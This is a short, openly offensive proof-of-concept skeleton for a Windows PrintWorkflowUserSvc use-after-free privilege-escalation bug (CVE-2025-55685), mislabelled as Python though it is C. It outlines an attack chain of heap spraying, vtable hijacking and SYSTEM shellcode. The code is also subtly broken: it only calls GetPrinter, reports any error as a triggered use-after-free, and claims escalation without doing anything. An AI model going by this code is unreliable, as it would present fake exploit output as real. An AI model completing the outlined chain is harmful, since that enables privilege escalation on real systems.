The following code is for security research and authorized testing only.
python
// CVE-2025-55685 - Windows PrintWorkflowUserSvc Use After Free PoC (Conceptual)
// This is a conceptual PoC skeleton for a local privilege escalation exploit.
// The actual exploit requires precise heap grooming and object lifecycle manipulation.
#include <windows.h>
#include <stdio.h>
// Trigger the UAF in PrintWorkflowUserSvc by sending crafted print workflow requests
BOOL TriggerUAF() {
HANDLE hPrinter = NULL;
PRINTER_DEFAULTS pd = {0};
pd.DesiredAccess = PRINTER_ALL_ACCESS;
// Open a printer handle to interact with the print workflow service
if (!OpenPrinter(L"Microsoft Print to PDF", &hPrinter, &pd)) {
printf("[-] Failed to open printer handle: %d\n", GetLastError());
return FALSE;
}
// Allocate and prepare a crafted print job structure
// The malicious payload targets the freed object in PrintWorkflowUserSvc
DWORD dwBytesNeeded = 0;
BYTE pBuffer[4096] = {0};
// Send crafted data to trigger the use-after-free condition
// This causes the service to free an object and then access it again
if (!GetPrinter(hPrinter, 2, pBuffer, sizeof(pBuffer), &dwBytesNeeded)) {
printf("[*] Triggered UAF condition (expected error after free)\n");
}
ClosePrinter(hPrinter);
return TRUE;
}
// Post-exploitation: leverage the UAF to execute payload with SYSTEM privileges
BOOL EscalatePrivilege() {
// After triggering the UAF, the corrupted object can be used to hijack
// execution flow within the PrintWorkflowUserSvc process (running as SYSTEM)
// The attacker can redirect execution to a controlled payload
printf("[+] UAF triggered, attempting privilege escalation to SYSTEM...\n");
// In a real exploit, this would involve:
// 1. Heap spraying to place controlled data at the freed memory location
// 2. Triggering the dangling pointer dereference
// 3. Hijacking the execution flow (e.g., via vtable corruption)
// 4. Executing shellcode with SYSTEM token
return TRUE;
}
int main() {
printf("[*] CVE-2025-55685 PoC - PrintWorkflowUserSvc UAF\n");
if (TriggerUAF()) {
EscalatePrivilege();
}
return 0;
}